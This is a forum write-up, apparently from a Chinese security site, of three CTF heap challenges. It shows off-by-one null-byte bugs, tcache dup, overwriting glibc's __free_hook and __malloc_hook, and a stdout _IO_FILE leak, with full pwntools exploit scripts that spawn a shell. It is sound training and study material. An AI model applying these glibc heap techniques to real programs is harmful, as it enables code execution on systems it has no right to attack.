首页
论坛
课程
招聘
[原创]Tcache利用总结
2019-2-28 08:42 12104

[原创]Tcache利用总结

2019-2-28 08:42
12104

前言:

花时间学习了一下tcache的一些东西,现在来写一写关于这个机制的总结。

正文:

2018 LCTF easy_heap:

一道关于tcache的利用题,也是之前打LCTF的第一题,现在来看一看。

 

试试程序发现是常规的堆题。

 

来看看伪代码:

 

漏洞主要就出在创建堆函数中,存在一个null-byte-one漏洞:

unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  if ( a2 )
  {
    while ( 1 )
    {
      read(0, &a1[v3], 1uLL);
      if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
        break;
      ++v3;
    }
    a1[v3] = 0;
    a1[a2] = 0;                                 // null by one
  }
  else
  {
    *a1 = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}

一般情况下,遇到null-byte-one我们都会选择用overlapping。但是这里所分配的堆块是固定0x100大小的,不能更改,所以说我们无法构造出我们想要的堆块来利用overlapping,那么我们换种思路,既然这里选择的是最新版用上tcache机制的libc,那么我们便来利用上他的一些机制。利用unsort bin来构造攻击,首先先分配满十个堆块:

for i in range(10):
    create(0xf8,'A'*0xf0)

然后delete掉十个,七个进cache,三个进unseat bin当中,这里delete需要交错delete,方便实现之后的unlink:

delete(1)
delete(3)
for i in range(5,10):
    delete(i)
delete(0)
delete(2)
delete(4)

然后我们再分配掉七个tcache bin,分配前两个unsort bin并且其中一个用上null-byte-one漏洞,此时的堆块情况就是这样的:

0x55b13d397300:    0x0000000000000000    0x0000000000000101  --> 最后一块没create的unsort bin堆块
0x55b13d397310:    0x0000000000000000    0x000055b13d397500
0x55b13d397320:    0x0000000000000000    0x0000000000000000
0x55b13d397330:    0x0000000000000000    0x0000000000000000
0x55b13d397340:    0x0000000000000000    0x0000000000000000
0x55b13d397350:    0x0000000000000000    0x0000000000000000
0x55b13d397360:    0x0000000000000000    0x0000000000000000
0x55b13d397370:    0x0000000000000000    0x0000000000000000
0x55b13d397380:    0x0000000000000000    0x0000000000000000
0x55b13d397390:    0x0000000000000000    0x0000000000000000
0x55b13d3973a0:    0x0000000000000000    0x0000000000000000
0x55b13d3973b0:    0x0000000000000000    0x0000000000000000
0x55b13d3973c0:    0x0000000000000000    0x0000000000000000
0x55b13d3973d0:    0x0000000000000000    0x0000000000000000
0x55b13d3973e0:    0x0000000000000000    0x0000000000000000
0x55b13d3973f0:    0x0000000000000000    0x0000000000000000
0x55b13d397400:    0x0000000000000100    0x0000000000000101
0x55b13d397410:    0x0000000000000000    0x0000000000000000
0x55b13d397420:    0x0000000000000000    0x0000000000000000
0x55b13d397430:    0x0000000000000000    0x0000000000000000
0x55b13d397440:    0x0000000000000000    0x0000000000000000
0x55b13d397450:    0x0000000000000000    0x0000000000000000
0x55b13d397460:    0x0000000000000000    0x0000000000000000
0x55b13d397470:    0x0000000000000000    0x0000000000000000
0x55b13d397480:    0x0000000000000000    0x0000000000000000
0x55b13d397490:    0x0000000000000000    0x0000000000000000
0x55b13d3974a0:    0x0000000000000000    0x0000000000000000
0x55b13d3974b0:    0x0000000000000000    0x0000000000000000
0x55b13d3974c0:    0x0000000000000000    0x0000000000000000
0x55b13d3974d0:    0x0000000000000000    0x0000000000000000
0x55b13d3974e0:    0x0000000000000000    0x0000000000000000
0x55b13d3974f0:    0x0000000000000000    0x0000000000000000
0x55b13d397500:    0x0000000000000000    0x0000000000000101  --> 此时堆块是在使用的
0x55b13d397510:    0x000055b13d397300    0x000055b13d397700
0x55b13d397520:    0x0000000000000000    0x0000000000000000
0x55b13d397530:    0x0000000000000000    0x0000000000000000
0x55b13d397540:    0x0000000000000000    0x0000000000000000
0x55b13d397550:    0x0000000000000000    0x0000000000000000
0x55b13d397560:    0x0000000000000000    0x0000000000000000
0x55b13d397570:    0x0000000000000000    0x0000000000000000
0x55b13d397580:    0x0000000000000000    0x0000000000000000
0x55b13d397590:    0x0000000000000000    0x0000000000000000
0x55b13d3975a0:    0x0000000000000000    0x0000000000000000
0x55b13d3975b0:    0x0000000000000000    0x0000000000000000
0x55b13d3975c0:    0x0000000000000000    0x0000000000000000
0x55b13d3975d0:    0x0000000000000000    0x0000000000000000
0x55b13d3975e0:    0x0000000000000000    0x0000000000000000
0x55b13d3975f0:    0x0000000000000000    0x0000000000000000
0x55b13d397600:    0x0000000000000100    0x0000000000000100  --> 用上了'n-b-o'
0x55b13d397610:    0x000055b13d397400    0x0000000000000000
0x55b13d397620:    0x0000000000000000    0x0000000000000000
0x55b13d397630:    0x0000000000000000    0x0000000000000000
0x55b13d397640:    0x0000000000000000    0x0000000000000000
0x55b13d397650:    0x0000000000000000    0x0000000000000000
0x55b13d397660:    0x0000000000000000    0x0000000000000000
0x55b13d397670:    0x0000000000000000    0x0000000000000000
0x55b13d397680:    0x0000000000000000    0x0000000000000000
0x55b13d397690:    0x0000000000000000    0x0000000000000000
0x55b13d3976a0:    0x0000000000000000    0x0000000000000000
0x55b13d3976b0:    0x0000000000000000    0x0000000000000000
0x55b13d3976c0:    0x0000000000000000    0x0000000000000000
0x55b13d3976d0:    0x0000000000000000    0x0000000000000000
0x55b13d3976e0:    0x0000000000000000    0x0000000000000000
0x55b13d3976f0:    0x0000000000000000    0x0000000000000000
0x55b13d397700:    0x0000000000000000    0x0000000000000101
0x55b13d397710:    0x000055b13d397500    0x00007f384a260ca0
0x55b13d397720:    0x0000000000000000    0x0000000000000000
0x55b13d397730:    0x0000000000000000    0x0000000000000000
0x55b13d397740:    0x0000000000000000    0x0000000000000000
0x55b13d397750:    0x0000000000000000    0x0000000000000000
0x55b13d397760:    0x0000000000000000    0x0000000000000000
0x55b13d397770:    0x0000000000000000    0x0000000000000000
0x55b13d397780:    0x0000000000000000    0x0000000000000000
0x55b13d397790:    0x0000000000000000    0x0000000000000000
0x55b13d3977a0:    0x0000000000000000    0x0000000000000000

这里需要注意的一个点就是,当分配第一个unsort bin中的堆块时,会将unsort bin中的堆块放到tcache当中去,所以后面需要将tcache填满时只需填上6个即可。

 

然后再利用null-byte-one实现unlink。

delete(5)

这样我们可以泄漏出libc地址,而且有两个指针指向同一个堆块,可以free掉两次,实现tcache dup。

#泄漏libc地址:
for i in range(9) :
    p.recvuntil('> ')
data = u64(p.recv(6).ljust(8,'\x00'))

libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))

因为程序开了Full RELRO,所以这里就修改__free_hookone_gadget来getshell。

for i in range(7) :
    create(0xf0,'\n')
create(0xf0,'\n')
delete(0) #空出一个位置来为后面做准备
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook)) tcache指向了free_hook
create(0xf0,p64(one_gadget)) 修改为one_gadget

delete(1) #触发

EXP:

from pwn import *

p = process('./easy_heap')
libc = ELF('easy_heap')
elf = ELF('./libc64.so')
context.log_level = 'debug'

def create(size,content) :
    p.sendlineafter('> ','1')
    p.sendlineafter('> ',str(size))
    p.sendlineafter('> ',content)

def show(index) :
    p.sendlineafter('> ','3')
    p.sendlineafter('> ',str(index))

def delete(index) :
    p.sendlineafter('> ','2')
    p.sendlineafter('> ',str(index))

for i in range(10):
    create(0xf8,'A'*0xf0)
delete(1)
delete(3)
for i in range(5,10):
    delete(i)
delete(0)
delete(2)
delete(4)

for i in range(7) :
    create(0xf0,'\n')
create(0xf0,'\n')
create(0xf8,'\n')

for i in range(5) :
    delete(i)
delete(6)
delete(5)

show(8)
for i in range(9) :
    p.recvuntil('> ')    #此处不太准确,根据自己环境自行修改
data = u64(p.recv(6).ljust(8,'\x00'))

libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))

for i in range(7) :
    create(0xf0,'\n')
create(0xf0,'\n')
delete(0)
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook))
create(0xf0,p64(one_gadget))

delete(1)

p.interactive()

2018 HITCON children_tcache:

这也是一道常规题,看一下伪代码可以发现也是只有一个null-byte-one漏洞:

unsigned __int64 create()
{
  signed int i; // [rsp+Ch] [rbp-2034h]
  char *dest; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char s; // [rsp+20h] [rbp-2020h]
  unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = sub_B67();
  if ( size > 0x2000 )                          // size < 0x2000
    exit(-2);
  dest = malloc(size);
  if ( !dest )
    exit(-1);
  printf("Data:");
  sub_BC8(&s, size);
  strcpy(dest, &s);                             // off by one
  qword_202060[i] = dest;
  qword_2020C0[i] = size;
  return __readfsqword(0x28u) ^ v5;
}

这里size在范围内是由自己选择的,所以说比上面那一题简单一些,跟上面那一题的思路一样,利用unlink来解决问题,首先构造一个大于0x408的堆块来避免tcache机制,再构造一个在tcache机制中的chunk,再构造一个大于0x408的chunk来避免tcache,以此unlink的时候可以不被tcache影响,此时:

create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20) -->避免合并top chunk

这时候的堆块情况为:

-----------------
|   0x511       |
|               |
-----------------
|   0x71        |
|               |
-----------------
|   0x601       |
|               |
-----------------

利用null-byte-one将0x601变为0x600以此来unlink:

for i in range(9):
    create(0x68 - i, 'b' * (0x68 - i))
    delete(0)
create(0x68,'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)

unlink后得到了一个0xb81的chunk,包括了以上三个chunk,但是其中chunk2还是有指针的,所以就能够堆块重用,使得两个指针指向chunk2,先malloc一个0x508的chunk,此时就可以leak出libc地址:

create(0x508,'a'*0x507)
#gdb.attach(p)
show(0)

此时原本的chunk2变成了:

pwndbg> x/20xg 0x55747df85760
0x55747df85760:    0x0061616161616161    0x0000000000000671
0x55747df85770:    0x00007fdb58b5fca0    0x00007fdb58b5fca0
0x55747df85780:    0x0000000000000000    0x0000000000000000

所以在此malloc一个0x68大小的chunk2,就可以实现cache dup,之后就常规操作了,改变malloc地址为one_gadget的地址,实现getshell:

create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))

EXP:

from pwn import *

p = process('./program')
elf = ELF('program')
libc = ELF('libc-2.27.so')
context.log_level = 'debug'

def create(size,content):
    p.sendlineafter('Your choice: ','1')
    p.sendlineafter('Size:',str(size))
    p.sendafter('Data:',content)

def show(index) :
    p.sendlineafter('Your choice: ','2')
    p.sendlineafter('Index:',str(index))

def delete(index) :
    p.sendlineafter('Your choice: ','3')
    p.sendlineafter('Index:',str(index))

create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20)
delete(1)
delete(0)
for i in range(9):
    create(0x68 - i, 'b' * (0x68 - i))
    delete(0)
create(0x68,'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)
#gdb.attach(p)
create(0x508,'a'*0x507)
#gdb.attach(p)
show(0)
#gdb.attach(p)

data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
print 'libc_base :' + hex(libc_base)

create(0x68,'b'*0x67)
delete(0)
delete(2)

malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_addr = libc_base + 0x4f322
create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))
print hex(malloc_addr)

p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:','10')

p.interactive()

2018 HITCON baby_tcache:

比较标志性的一道tcache利用题,参杂了IO_FILE的利用。

 

保护全开:

$ checksec ./baby_tcache
[*] '/home/v1nke/Desktop/tcache/HITCON baby_tcache/baby_tcache'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

整个程序只有createdelete,没有显示函数。

int create()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (signed int)v0;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = sub_B27();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);                            // size < 0x2000
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88((__int64)v3, size);
  v3[size] = 0;                                 // null-byte-one
  qword_202060[i] = v3;
  v0 = qword_2020C0;
  qword_2020C0[i] = size;
  return (signed int)v0;
}

create函数中就存在一个null-byte-one漏洞,且chunk size可自行指定。delete中没有问题。

 

没有显示函数的时候需要用到IO_FILE的一种方法去泄漏libc地址。就是修改stdout文件流中的__IO_write_base达到泄漏目的。具体看后面。

 

既然有了null-byte-one漏洞,那么很容易想到用Overlapping。这里我也不多叙述了,具体的跟上面所提到的大同小异,也可以说是一样的,我着重介绍一下如何泄漏libc这一块。我们先利用前面的tcache dup_IO_2_1_stdout上创建一个chunk,此时的_IO_2_1_stdout情况是这样的:

pwndbg> p &_IO_2_1_stdout_ 
$1 = (struct _IO_FILE_plus *) 0x7ff17c2fa760 <_IO_2_1_stdout_>
pwndbg> x/20xg 0x7ff17c2fa760
0x7ff17c2fa760 <_IO_2_1_stdout_>: 0x00000000fbad2887  0x00007ff17c2fa7e3
0x7ff17c2fa770 <_IO_2_1_stdout_+16>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3
0x7ff17c2fa780 <_IO_2_1_stdout_+32>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3
0x7ff17c2fa790 <_IO_2_1_stdout_+48>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3
0x7ff17c2fa7a0 <_IO_2_1_stdout_+64>:  0x00007ff17c2fa7e4  0x0000000000000000
0x7ff17c2fa7b0 <_IO_2_1_stdout_+80>:  0x0000000000000000  0x0000000000000000

0x7ff17c2fa780处是_IO_write_base,也就是打印函数所打印的起始地址。我们将它改为我们所要构造的打印地址泄漏libc即可。我选择将它的最低位覆盖为\x90,这时候的情况:

pwndbg> x/10xg 0x00007ff17c2fa790
0x7ff17c2fa790 <_IO_2_1_stdout_+48>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3
0x7ff17c2fa7a0 <_IO_2_1_stdout_+64>:  0x00007ff17c2fa7e4  0x0000000000000000

所以可以泄漏出libc。但是这里还有一个重要的点就是需要更改0x7ff17c2fa760处的_flag的值。为什么呢?puts函数会调用_IO_file_xsputn函数:

size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
...
if ((f-&gt;_flags &amp; _IO_LINE_BUF) &amp;&amp; (f-&gt;_flags &amp; _IO_CURRENTLY_PUTTING)) //flag bypass
{
...
}
...
if (to_do + must_flush &gt; 0)
{
size_t block_size, do_write;
if (_IO_OVERFLOW (f, EOF) == EOF)
return to_do == 0 ? EOF : n - to_do;
...
}

然后会调用_IO_new_file_overflow

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */      -->  false
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      :
      :
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base, 
             f->_IO_write_ptr - f->_IO_write_base);

然后调用_IO_do_write

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)              -->  false
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
     ............
    }
  count = _IO_SYSWRITE (fp, data, to_do);         --> 我们所需要的目标

最后调用到_IO_SYSWRITE则是我们的最终目标,所以这中间我们需要过掉比较多的槛。

 

默认的魔数是0xfbad0000。我们需要设置:

1.f->_flags & _IO_NO_WRITES == 0
2.f->_flags & _IO_CURRENTLY_PUTTING == 0
3.fp->_flags & _IO_IS_APPENDING == 0

所以这里我们设置flags为0xfbad1800。当我们成功修改的时候:

pwndbg> x/10xg 0x7f007a2bb760
0x7f007a2bb760 <_IO_2_1_stdout_>: 0x00000000fbad1800  0x00007f007a2bb7e3
0x7f007a2bb770 <_IO_2_1_stdout_+16>:  0x00007f007a2bb7e3  0x00007f007a2bb7e3
0x7f007a2bb780 <_IO_2_1_stdout_+32>:  0x00007f007a2bb7e3  0x00007f007a2bb7e3

可以看见修改了。接下来就可以愉快的泄漏libc了。后面就是常规的tcache dup修改free_hook操作了,自己可以尝试一下。

总结:

现在的tcache题目基本都给了null-byte-one的漏洞,一般都用overlapping来构造两个指针指向同一块来利用,有的会限制chunk size,那么就利用unsortbin来构造overlapping,有的限制了show函数功能,那么就利用IO_FILE修改_IO_write_base来泄漏,学会活灵活用。


[公告]《安卓APP加固攻与防》训练营!Android逆向分析技能,干货满满,报名免费赠送一部手机!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 351
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
五天 活跃值 2019-2-28 09:14
2
0
雪    币: 1612
活跃值: 活跃值 (639)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
iddm 活跃值 4 2019-3-2 23:20
3
0
总结到位
雪    币: 2945
活跃值: 活跃值 (32)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 活跃值 2 2019-3-3 08:56
4
0
iddm 总结到位[em_87]
大半夜的不睡觉
雪    币: 1074
活跃值: 活跃值 (36)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
DayJun 活跃值 2019-8-8 16:56
5
0
您好,关于Tcache的题目,请问如何利用gdb辅助进行debug?我用docker试了试,发现似乎因为libc太新导致好多依赖无法安装
雪    币: 2945
活跃值: 活跃值 (32)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 活跃值 2 2019-8-12 11:11
6
0
DayJun 您好,关于Tcache的题目,请问如何利用gdb辅助进行debug?我用docker试了试,发现似乎因为libc太新导致好多依赖无法安装
你是说什么依赖
游客
登录 | 注册 方可回帖
返回